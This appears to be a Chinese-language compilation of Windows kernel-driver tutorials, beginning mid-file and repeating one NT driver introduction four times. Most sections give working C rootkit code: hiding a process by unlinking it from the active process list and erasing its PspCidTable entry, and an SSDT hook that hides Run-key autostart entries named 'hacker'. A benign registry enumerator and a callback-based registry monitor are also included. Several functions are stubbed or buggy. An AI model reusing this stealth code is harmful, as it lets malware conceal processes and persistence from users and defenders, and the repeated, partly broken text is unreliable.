                    );

NTSTATUS
InitializeCommonVariables(
    );

NTSTATUS GetProcessNameOffset(
                     OUT PULONG Offset OPTIONAL
);

BOOLEAN IsValidModule(ULONG i);

void Search();

ULONG GetAddrFromProcessId();

VOID ClearMZMask();

#endif

源文件

      VOID BreakThreadByProcess(ULONG Pid)
{
/*++

Routine Description:

    将所有线程ETHREAD结构的ThreadsProcess抹掉

Return Value:
VOID

--*/
    PEPROCESS eProcess;
    PETHREAD eThread;
    PLIST_ENTRY pList;

    PsLookupProcessByProcessId(Pid,&eProcess);
    pList = eProcess->Pcb.ThreadListHead.Blink;
    while (pList != eProcess->Pcb.ThreadListHead.Flink)
    {
        eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry));
        eThread->ThreadsProcess = 0;
        pList = pList->Blink;
    }

}

VOID ClearMZMask()
{
/*++

Routine Description:

    擦除PE文件MZ,PE标志

Return Value:
VOID

--*/
    PVOID addr;
    ULONG pid;
    PEPROCESS eProcess;
    KAPC_STATE apcstatus;

    pid = ProtectPid;
    PsLookupProcessByProcessId(pid,&eProcess);

    KeStackAttachProcess(eProcess,&apcstatus);

    KeUnstackDetachProcess(&apcstatus);
}

ULONG GetAddrFromProcessId()
{
/*++

Routine Description:

    搜索PsLookupProcessByProcessId函数得到PspCidTable的地址
    ppPspCidTable:返回PspCidTable表地址

Return Value:
VOID

--*/
    UNICODE_STRING pslookup;
    PUCHAR  addr;
    PUCHAR p;
    ULONG q;
    RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId");
    addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup);

    for(p=addr;p<addr+PAGE_SIZE;p++)
    {
        if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8))
        {
            q=*(PULONG)(p+2);
            return q;
            break;
        }
    }
    return 0;
}

BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
)
{
    if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle)
    {
        *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ;
        return TRUE ;
    }
    return FALSE ;
}

// 修改一下，可以传递要擦除的ID做参数
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN ULONG ProcessId
)
{
/*++

Routine Description:
  擦出PspCidTable结构中的句柄
  pHandleTable:指向句柄表指针
  ProcessId:进程的PID
 Return Value:
VOID

--*/

    NTSTATUS status ;

    PVOID EnumParameter ;
    UNICODE_STRING uniExEnumHandleTable ;

    __ExEnumHandleTable ExEnumHandleTable ;

    status=STATUS_NOT_FOUND ;
    EnumParameter=ProcessId ;

    RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable");
    ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable);

    if(NULL==ExEnumHandleTable)
    {
        return STATUS_NOT_FOUND ;
    }

    // Enum后可以擦除，Callback过程中不能擦除
    if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL))
    {
        InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL);
        status=STATUS_SUCCESS ;
    }

    return status ;
}

VOID RemoveNodeFromActiveProcessLinks(
  IN ULONG ProcessId
  )
{
/*++

Routine Description:
  移除进程EPROCESS结构中的ActiveProces中自己的链表
  ProcessId:进程的PID
 Return Value:
VOID

--*/
    NTSTATUS status;

    LIST_ENTRY  *pListEntry;
    PEPROCESS  pEprocess;
    status = PsLookupProcessByProcessId(ProcessId,&pEprocess);
    if (!NT_SUCCESS(status))
    {
        DbgPrint("PsLookupProcessByProcessId Error!\n");
        return ;
    }
//  ObDereferenceObject(pEprocess);

    pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88);

    pListEntry->Flink->Blink = pListEntry->Blink;
    pListEntry->Blink->Flink = pListEntry->Flink;

}

VOID
HideProcessById(
                IN ULONG ProcessId
                )
{
    NTSTATUS status ;
    HANDLE_TABLE *pPspCidTable ;
    PEPROCESS pCsrssEprocess=NULL ;

        status=InitializeCommonVariables();

    pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId();

    status=LookupProcessByName(pCsrssEprocess);

    // 先从活动进程链表中摘除
   RemoveNodeFromActiveProcessLinks(ProcessId);

    // 擦除PspCidTable中对应的Object
    EraseObjectFromHandleTable(pPspCidTable,ProcessId);

    // 擦除Csrss进程中那份表,无数次蓝屏，所以坚决放弃
//    EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId);

    return ;
}

NTSTATUS
LookupProcessByName(
                    OUT PEPROCESS pEprocess
                    )
{
    PEPROCESS esProcess;
    LIST_ENTRY *listen;
    esProcess = PsGetCurrentProcess();

    while (1)
    {
        listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink;
        esProcess= (EPROCESS *)((ULONG)listen - 0x88);
        DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
        if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe")))
        {
            DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
            pEprocess = esProcess;
            DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess);
            return STATUS_SUCCESS;
            break;
        }
        listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88));
    }

}

NTSTATUS
GetProcessNameOffset(
                     OUT PULONG Offset OPTIONAL
                     )
{
    NTSTATUS status ;
    PEPROCESS curproc ;
    ULONG i ;

    if(!MmIsAddressValid((PVOID)Offset))
    {
        status=STATUS_INVALID_PARAMETER ;
        return status ;
    }

    curproc=PsGetCurrentProcess();

    //
    // 然后搜索KPEB，得到ProcessName相对KPEB的偏移量
    // 偏移174h的位置，这里存的是进程的短文件名，少数地方用，
    // 比如SoftIce的addr和proc命令，如果名称超过16个字符直接截断

    // Scan for 12KB, hopping the KPEB never grows that big!
    //
    for(i=0;i<3*PAGE_SIZE;i++)
    {

        if(!strncmp("System",(PCHAR)curproc+i,strlen("System")))
        {
            *Offset=i ;
            status=STATUS_SUCCESS ;
            break ;
        }
    }
    return status ;
}

NTSTATUS
InitializeCommonVariables(
)
{
    NTSTATUS status ;
    ULONG uMajorVersion ;
    ULONG uMinorVersion ;

    status=GetProcessNameOffset(&g_Offset_Eprocess_Name);

    if(!NT_SUCCESS(status))
    {
        return status ;
    }

    g_pEprocess_System=PsGetCurrentProcess();

    PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL);

    if(uMajorVersion==4&&uMinorVersion==0)
    {
        g_Offset_Eprocess_Flink=152 ;
        // Stop supporting NT 4.0
        return STATUS_UNSUCCESSFUL ;
    }
    else if(uMajorVersion==5&&uMinorVersion==0)
    {
        g_Offset_Eprocess_ProcessId=156 ;
        g_Offset_Eprocess_Flink=160 ;
        g_Offset_Eprocess_HandleTable=0x128 ;
    }
    else if(uMajorVersion==5&&uMinorVersion==1)
    {
        g_Offset_Eprocess_ProcessId=132 ;
        g_Offset_Eprocess_Flink=136 ;
        g_Offset_Eprocess_HandleTable=0xC4 ;
    }
    else if(uMajorVersion==5&&uMinorVersion==2)
    {
        g_Offset_Eprocess_ProcessId=132 ;
        g_Offset_Eprocess_Flink=136 ;
        g_Offset_Eprocess_HandleTable=0xC4 ;
    }

    return STATUS_SUCCESS ;
}

/*++

Routine Description:
  得到各个变量的偏移
 Return Value:
VOID

--*/

在Windows NT中，80386保护模式的“保护”比Windows 95中更坚固，这个“镀金的笼子”更加结实，更加难以打破。在Windows 95中，至少应用程序I/O操作是不受限制的，而在Windows NT中，我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中，存在三种Device Driver：

  1．“Virtual device Driver” (VDD)。通过VDD，16位应用程序，如DOS 和Win16应用程序可以访问特定的I/O端口（注意，不是直接访问，而是要通过VDD来实现访问）。

  2．“GDI Driver”，提供显示和打印所需的GDI函数。

  3．“Kernel Mode Driver”，实现对特定硬件的操作，比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

Visual studio11与Windows8带来格外不同的新体验

1.启动Vs11

2.看见满目的驱动开发模板

3.选择一个驱动模式，有内核模式与用户模式两种的驱动

4.创建一个驱动程序，KMDF DriverMVP

5.我们选择的是内核模式的驱动程序，下面是创建成功后的界面，分别是驱动程序本身，与驱动安装包

6.按下F5，选择驱动编译，

插入下列代码实现ring0层枚举注册表，请见代码分析

      #include <ntddk.h>

VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
    DbgPrint("Driver Unload");
}

//自定义枚举注册表键值函数
NTSTATUS
MyRegEnumSubValue()
{
    UNICODE_STRING RegUnicodeString;
    HANDLE hRegister;
    ULONG ulSize;
    NTSTATUS ntStatus;
    UNICODE_STRING uniKeyName;
    PKEY_VALUE_FULL_INFORMATION  pvbi;
    PKEY_FULL_INFORMATION pfi;
    ULONG i;
    OBJECT_ATTRIBUTES objectAttributes;
    //初始化UNICODE_STRING字符串
    RtlInitUnicodeString( &RegUnicodeString,
        L"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN");

    //初始化objectAttributes
    InitializeObjectAttributes(&objectAttributes,
        &RegUnicodeString,
        OBJ_CASE_INSENSITIVE,//对大小写敏感
        NULL,
        NULL );

    //打开注册表
    ntStatus = ZwOpenKey( &hRegister,
        KEY_ALL_ACCESS,
        &objectAttributes);

    if (NT_SUCCESS(ntStatus))
    {
        KdPrint(("Open register successfully\n"));
    }
    ZwQueryKey(hRegister,
        KeyFullInformation,
        NULL,
        0,
        &ulSize);

    pfi=(PKEY_FULL_INFORMATION)
        ExAllocatePool(PagedPool,ulSize);

    //查询注册表
    ZwQueryKey(hRegister,
        KeyFullInformation,
        pfi,
        ulSize,
        &ulSize);

    //开始循环枚举注册表
    for(i=0;i<pfi->Values;i++)
    {
        ZwEnumerateValueKey(hRegister,
            i,
            KeyValueFullInformation,
            NULL,
            0,
            &ulSize);

        pvbi =(PKEY_VALUE_FULL_INFORMATION )
            ExAllocatePool(PagedPool,ulSize);

        ZwEnumerateValueKey(hRegister,
            i,
            KeyValueFullInformation,
            pvbi,
            ulSize,
            &ulSize);

        uniKeyName.Length = uniKeyName.MaximumLength =
        (USHORT)pvbi->NameLength;

        uniKeyName.Buffer = pvbi->Name;

        //将键值输出
        DbgPrint("第%d个键值名称是:%wZ\n",i,&uniKeyName);

        //判断键值的类型
        if (pvbi->Type==REG_SZ)
        {
            DbgPrint("键值的类型是:REG_SZ\n");
        }
        else if (pvbi->Type==REG_MULTI_SZ)
        {
            DbgPrint("键值的类型是:REG_MULTI_SZ\n");
        }
        else if (pvbi->Type==REG_DWORD)
        {
            KdPrint(("键值的类型是:REG_DWORD\n"));
        }
        else if (pvbi->Type==REG_BINARY)
        {
            KdPrint(("键值的类型是:REG_BINARY\n"));
        }

        ExFreePool(pvbi);
    }

    ExFreePool(pfi);
    ZwClose(hRegister);
    return STATUS_SUCCESS;
}

NTSTATUS
DriverEntry(
            IN PDRIVER_OBJECT  DriverObject,
            IN PUNICODE_STRING  RegistryPath
    )
{
    MyRegEnumSubValue();
    DriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

在Windows NT中，80386保护模式的“保护”比Windows 95中更坚固，这个“镀金的笼子”更加结实，更加难以打破。在Windows 95中，至少应用程序I/O操作是不受限制的，而在Windows NT中，我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中，存在三种Device Driver：

  1．“Virtual device Driver” (VDD)。通过VDD，16位应用程序，如DOS 和Win16应用程序可以访问特定的I/O端口（注意，不是直接访问，而是要通过VDD来实现访问）。

  2．“GDI Driver”，提供显示和打印所需的GDI函数。

  3．“Kernel Mode Driver”，实现对特定硬件的操作，比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

Visual studio11与Windows8带来格外不同的新体验

1.启动Vs11

2.看见满目的驱动开发模板

3.选择一个驱动模式，有内核模式与用户模式两种的驱动

4.创建一个驱动程序，KMDF DriverMVP

5.我们选择的是内核模式的驱动程序，下面是创建成功后的界面，分别是驱动程序本身，与驱动安装包

6.按下F5，选择驱动编译，

插入下列代码实现ring0层隐藏注册表，请见代码分析

      #include <ntddk.h>

extern NTSYSAPI NTSTATUS NTAPI
ObQueryNameString(
    IN PVOID  Object,
    OUT POBJECT_NAME_INFORMATION  ObjectNameInfo,
    IN ULONG  Length,
    OUT PULONG  ReturnLength
    );

extern NTSYSAPI NTSTATUS NTAPI
ZwEnumerateValueKey(
    IN HANDLE  KeyHandle,
    IN ULONG  Index,
    IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
    OUT PVOID  KeyValueInformation,
    IN ULONG  Length,
    OUT PULONG  ResultLength
    );

//声明原有的函数
typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)(
        IN HANDLE  KeyHandle,
        IN ULONG  Index,
        IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
        OUT PVOID  KeyValueInformation,
        IN ULONG  Length,
        OUT PULONG  ResultLength
        );

//定义原函数的指针
REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey;

//我们HOOK的函数
NTSTATUS HookZwEnumerateValueKey(
         IN HANDLE  KeyHandle,
         IN ULONG  Index,
         IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
         OUT PVOID  KeyValueInformation,
         IN ULONG  Length,
         OUT PULONG  ResultLength
         );

PCWSTR HideValue = L"hacker";

// SYSTEMSERVICE 的定义
typedef struct ServiceDescriptorEntry
{
    unsigned int * ServiceTableBase;    // 关键字段, 指向系统服务分发例程的基地址
    unsigned int * ServiceCounterTableBase;
    unsigned int NumberOfServices;
    unsigned char * ParamTableBase;
}
ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]

PVOID GetPointer( HANDLE handle )
{
    PVOID pKey;
    if(!handle)
        return NULL;
    // ObReferenceObjectByHandle函数来获得这个Handle对应的FileObject, 得到的指针转换成文件对象的指针
    if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS )
    {
        pKey = NULL;
    }
    return pKey;
}

NTSTATUS
HookZwEnumerateValueKey(
    IN HANDLE  KeyHandle,
    IN ULONG  Index,
    IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
    OUT PVOID  KeyValueInformation,
    IN ULONG  Length,
    OUT PULONG  ResultLength
)
{

    PVOID pKey;
    UNICODE_STRING *pUniName;
    ULONG actualLen;
    ANSI_STRING keyname;
    NTSTATUS status;
    UNICODE_STRING uStrValueName;
    PCWSTR ValueName;

    status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                                 Index,
                                 KeyValueInformationClass,
                                 KeyValueInformation,
                                 Length,
                                 ResultLength );

    //得到文件对象的指针
    if(pKey = GetPointer( KeyHandle))
    {
        //分配内存
        pUniName = ExAllocatePool(NonPagedPool, 1024*2);
        pUniName->MaximumLength = 512*2;

        //将pUniName里的内容清空
        memset(pUniName,0,pUniName->MaximumLength);

        //得到注册表项的路径
        if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen)))
        {
            RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE);
            keyname.Buffer=_strupr(keyname.Buffer);

            //判断是不是Run项
            if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0)
            {
                switch (KeyValueInformationClass)
                {
                case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION
                    ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name;
                    break;
                case KeyValueFullInformation:  //KEY_VALUE_FULL_INFORMATION
                    ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;
                    break;
                }

                //判断ValueName里的值是否有hacker
                //如果有则将函数返回STATUS_ACCESS_DENIED
                if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL))
                {
                    DbgPrint("Hide Value\n");
                    RtlFreeAnsiString(&keyname);
                    //释放内存
                    if(pUniName)
                    {
                        ExFreePool(pUniName);
                    }
                    return STATUS_ACCESS_DENIED;
                }

            }

        }
    }
    status = RealZwEnumerateValueKey(KeyHandle,
                                    Index,
                                    KeyValueInformationClass,
                                    KeyValueInformation,
                                    Length,
                                    ResultLength);
    if(pUniName)
    {
        ExFreePool(pUniName);
    }

    return(status);

}

VOID
  DriverUnload(
    IN PDRIVER_OBJECT  DriverObject
    )
{
    DbgPrint("驱动已经停止了\n");
    (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey;
}

NTSTATUS
  DriverEntry(
    IN PDRIVER_OBJECT  DriverObject,
    IN PUNICODE_STRING  RegistryPath
    )
{

    DbgPrint("驱动已经加载了\n");

    RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
    (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey;

    DriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

在Windows NT中，80386保护模式的“保护”比Windows 95中更坚固，这个“镀金的笼子”更加结实，更加难以打破。在Windows 95中，至少应用程序I/O操作是不受限制的，而在Windows NT中，我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中，存在三种Device Driver：

  1．“Virtual device Driver” (VDD)。通过VDD，16位应用程序，如DOS 和Win16应用程序可以访问特定的I/O端口（注意，不是直接访问，而是要通过VDD来实现访问）。

  2．“GDI Driver”，提供显示和打印所需的GDI函数。

  3．“Kernel Mode Driver”，实现对特定硬件的操作，比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

Visual studio11与Windows8带来格外不同的新体验

1.启动Vs11

2.看见满目的驱动开发模板

3.选择一个驱动模式，有内核模式与用户模式两种的驱动

4.创建一个驱动程序，KMDF DriverMVP

5.我们选择的是内核模式的驱动程序，下面是创建成功后的界面，分别是驱动程序本身，与驱动安装包

6.按下F5，选择驱动编译，

插入下列代码实现基于callback的注册表监控和过滤技术，请见代码分析

#include "ntifs.h"
#include "RegistryCallBack.h"
#include <ntstrsafe.h>

NTSTATUS st;
LARGE_INTEGER g_CallbackCookie;
ANSI_STRING  astr;

VOID UnloadDriver(PDRIVER_OBJECT DriverObject);

NTSTATUS RegistryCallback(IN PVOID CallbackContext, IN PVOID Argument1, IN PVOID Argument2);

BOOLEAN GetRegistryObjectCompleteName(PUNICODE_STRING pRegistryPath, PUNICODE_STRING pPartialRegistryPath,PVOID pRegistryObject);

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{

    DbgPrint("[RegRoutine]Loading!\n");

    DriverObject->DriverUnload = UnloadDriver;

    st = CmRegisterCallback(RegistryCallback,NULL,&g_CallbackCookie);
    if ( !NT_SUCCESS(st) )
    {
        DbgPrint("[RegRoutine]CmRegisterCallback Failed!\n");
        return st;
    }
    DbgPrint("[RegRoutine]RegistryCallback Addr:0x%08X\n",RegistryCallback);
    DbgPrint("[RegRoutine]Cookie.LowPart:0x%08X Cookie.HighPart:0x%08X\n",g_CallbackCookie.LowPart,g_CallbackCookie.HighPart);
    return st;
}
VOID UnloadDriver(PDRIVER_OBJECT DriverObject)
{
    CmUnRegisterCallback(g_CallbackCookie);
    DbgPrint("[RegRoutine]UnLoading!\n");
}

NTSTATUS
  RegistryCallback(
    IN PVOID  CallbackContext,
    IN PVOID  Argument1,
    IN PVOID  Argument2
    )
{
    int type;
    BOOLEAN exception = FALSE;
    BOOLEAN registryEventIsValid = FALSE;
    UNICODE_STRING registryPath;
    UCHAR* registryData = NULL;
    ULONG registryDataLength = 0;
    ULONG registryDataType = 0;

    registryPath.Length = 0;
    registryPath.MaximumLength = NTSTRSAFE_UNICODE_STRING_MAX_CCH * sizeof(WCHAR);
    registryPath.Buffer = ExAllocatePoolWithTag(NonPagedPool, registryPath.MaximumLength, 'ConT');

    if(registryPath.Buffer == NULL)
    {
        DbgPrint("[RegRoutine]Allocate registryPath failed!\n");
        return STATUS_SUCCESS;
    }

    type = (REG_NOTIFY_CLASS)Argument1;

    try
    {
        switch(type)
        {
            case RegNtPostCreateKey:
            {
                PREG_POST_CREATE_KEY_INFORMATION createKey = (PREG_POST_CREATE_KEY_INFORMATION)Argument2;
                if( NT_SUCCESS(createKey->Status) || createKey->Status == STATUS_PENDING ) //创建注册表项状态为成功和未决的都记录一下
                {
                    PVOID* registryObject = createKey->Object;
                    registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, createKey->CompleteName,*registryObject);
                    if ( registryEventIsValid )
                    {
                        RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
                        DbgPrint("[RegCreated]KeyName:%s!\n",astr.Buffer);

                        //如果创建的是自启动项，则警告一下
                        if ( strstr(astr.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") )
                        {
                            DbgPrint("[RegCreated]Forbin!\n");
                            DbgPrint("[RegCreated]ForbinKeyName:%s!\n",astr.Buffer);
                            RtlFreeAnsiString(&astr);
                        }
                        RtlFreeAnsiString(&astr);
                    }
                    else
                        DbgPrint("[RegCreated]Get Key Name Failed!\n");
                }

            }
                break;
            //使用PreCreateKey可以阻止key的创建，但是能够作为判断依据的只有一个key的CompleteName，无法得到完整路径来判断
            case RegNtPreCreateKey:
            {
                PREG_PRE_CREATE_KEY_INFORMATION createKey = (PREG_PRE_CREATE_KEY_INFORMATION)Argument2;
                RtlCopyUnicodeString(®istryPath,createKey->CompleteName);
                RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
                DbgPrint("[RegRoutine]PreCreate:%s!\n",astr.Buffer);
                if ( !strcmp(astr.Buffer,"新项 #1") )
                        {
                            DbgPrint("[RegRoutine]Forbin!\n");
                            DbgPrint("[RegRoutine]ForbinKeyName:%s!\n",astr.Buffer);
                            RtlFreeAnsiString(&astr);
                            return STATUS_INVALID_PARAMETER;
                        }
                RtlFreeAnsiString(&astr);
            }
                break;
            case RegNtDeleteKey:
            {
                PREG_DELETE_KEY_INFORMATION deleteKey = (PREG_DELETE_KEY_INFORMATION)Argument2;
                registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, NULL, deleteKey->Object);

                if ( registryEventIsValid )
                    {
                        RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
                        DbgPrint("[RegDeletedKey]KeyName:%s!\n",astr.Buffer);
                        if ( !strcmp(astr.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ljh00001") )
                        {
                            DbgPrint("[RegDeletedKey]Forbin!\n");
                            DbgPrint("[RegDeletedKey]ForbinKeyName:%s!\n");
                            RtlFreeAnsiString(&astr);
                            return STATUS_INVALID_PARAMETER;
                        }
                        RtlFreeAnsiString(&astr);
                    }

            }
                break;
            case RegNtSetValueKey:
            {
                PREG_SET_VALUE_KEY_INFORMATION setvalue = (PREG_SET_VALUE_KEY_INFORMATION)Argument2;

                if( MmIsAddressValid(setvalue->ValueName) )
                {
                    registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, NULL, setvalue->Object);

                    if ( registryEventIsValid )
                    {
                        RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
                        DbgPrint("[RegSetValue]ValueParentPath:%s!\n",astr.Buffer);
                        RtlFreeAnsiString(&astr);
                    }
                    RtlUnicodeStringToAnsiString(&astr,setvalue->ValueName,TRUE);
                    DbgPrint("[RegSetValue]ValueName:%s!\n",astr.Buffer);
                    RtlFreeAnsiString(&astr);
                    //输出设置的键值的数据类型和大小，如果类型是REG_SZ则data是一个unicode_string，而数据大小为buffer长度
                    //加上4字节长度的length和MaxLength再加上2个字节的结尾00的长度
                    DbgPrint("[RegSetValue]ValueDataType:%X,DataSize:%X\n",setvalue->Type,setvalue->DataSize);
                    if ( setvalue->Type == 1 ) //Type为REG_SZ，其它类型的数据暂时忽略
                    {
                        DbgPrint("[RegSetValue]Data:%ws\n",setvalue->Data);
                    }
                }

            }
                break;
            case RegNtDeleteValueKey:
            {
                PREG_DELETE_VALUE_KEY_INFORMATION deletevalue = (PREG_DELETE_VALUE_KEY_INFORMATION)Argument2;

                if( MmIsAddressValid(deletevalue->ValueName) )
                {
                    registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, NULL, deletevalue->Object);

                    if ( registryEventIsValid )
                    {
                        RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
                        DbgPrint("[RegDelValue]ValueParentPath:%s!\n",astr.Buffer);
                        RtlFreeAnsiString(&astr);
                    }
                    RtlUnicodeStringToAnsiString(&astr,deletevalue->ValueName,TRUE);
                    DbgPrint("[RegDelValue]ValueName:%s!\n",astr.Buffer);
                    if ( !strcmp(astr.Buffer,"ljh00001") )
                        {
                            DbgPrint("[RegDelValue]Forbin!\n");
                            DbgPrint("[RegDelValue]ForbinKeyName:%s!\n");
                            RtlFreeAnsiString(&astr);
                            return STATUS_INVALID_PARAMETER;
                        }
                    RtlFreeAnsiString(&astr);
                }

            }
                break;
            case RegNtRenameKey:
            {
                PREG_RENAME_KEY_INFORMATION renamevalue = (PREG_RENAME_KEY_INFORMATION)Argument2;

                if( MmIsAddressValid(renamevalue->NewName) )
                {
                    registryEventIsValid = GetRegistryObjectCompleteName(®istryPath, NULL, renamevalue->Object);

                    if ( registryEventIsValid )
                    {
                        RtlUnicodeStringToAnsiString(&astr,®istryPath,TRUE);
                        DbgPrint("[RegRenameKey]KeyPath:%s!\n",astr.Buffer);
                        RtlFreeAnsiString(&astr);
                    }
                    RtlUnicodeStringToAnsiString(&astr,renamevalue->NewName,TRUE);
                    DbgPrint("[RegRenameKey]KeyName:%s!\n",astr.Buffer);
                    RtlFreeAnsiString(&astr);
                }

            }
                break;
            default:
                break;
        }
    }
    except( EXCEPTION_EXECUTE_HANDLER )
    {
        DbgPrint("[RegRoutine]Catch a Expection!\n");
        exception = TRUE;
        registryEventIsValid = FALSE;
    }

    if(registryPath.Buffer != NULL)
    {
        ExFreePoolWithTag(registryPath.Buffer, 'ConT');
    }
    return STATUS_SUCCESS;
}

BOOLEAN GetRegistryObjectCompleteName(PUNICODE_STRING pRegistryPath, PUNICODE_STRING pPartialRegistryPath, PVOID pRegistryObject)
{
    BOOLEAN foundCompleteName = FALSE;
    BOOLEAN partial = FALSE;
    NTSTATUS status;
    ULONG returnedLength;
    PUNICODE_STRING pObjectName = NULL;
    //判断object的有效性
    if( (!MmIsAddressValid(pRegistryObject)) || (pRegistryObject == NULL) )
    {
        DbgPrint("[RegRoutine]pRegistryObject Invalid!\n");
        return FALSE;
    }
    //使用ObQueryNameString来得到object对应的名称
    status = ObQueryNameString(pRegistryObject, (POBJECT_NAME_INFORMATION)pObjectName, 0, &returnedLength );
    if(status == STATUS_INFO_LENGTH_MISMATCH)   //第一次传的buffer长度为0，ObQueryNameString返回的结果必定是缓冲区大小不足
    {
        pObjectName = ExAllocatePoolWithTag(NonPagedPool, returnedLength, 'ConT'); //申请内存
        if ( pObjectName == NULL ) //申请内存失败则返回FALSE
        {
            DbgPrint("[RegRoutine]AllocatePool Failed!\n");
            return FALSE;
        }
        //查询名称
        status = ObQueryNameString(pRegistryObject, (POBJECT_NAME_INFORMATION)pObjectName, returnedLength, &returnedLength );
        if(NT_SUCCESS(status))
        {
            RtlUnicodeStringCopy(pRegistryPath, pObjectName);   //拷贝名称
            foundCompleteName = TRUE;
        }
        ExFreePoolWithTag(pObjectName, 'ConT'); //无论查询是否成功都应该释放内存
    }

    return foundCompleteName;
}

在Windows NT中，80386保护模式的“保护”比Windows 95中更坚固，这个“镀金的笼子”更加结实，更加难以打破。在Windows 95中，至少应用程序I/O操作是不受限制的，而在Windows NT中，我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中，存在三种Device Driver：

  1．“Virtual device Driver” (VDD)。通过VDD，16位应用程序，如DOS 和Win16应用程序可以访问特定的I/O端口（注意，不是直接访问，而是要通过VDD来实现访问）。

  2．“GDI Driver”，提供显示和打印所需的GDI函数。

  3．“Kernel Mode Driver”，实现对特定硬件的操作，比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

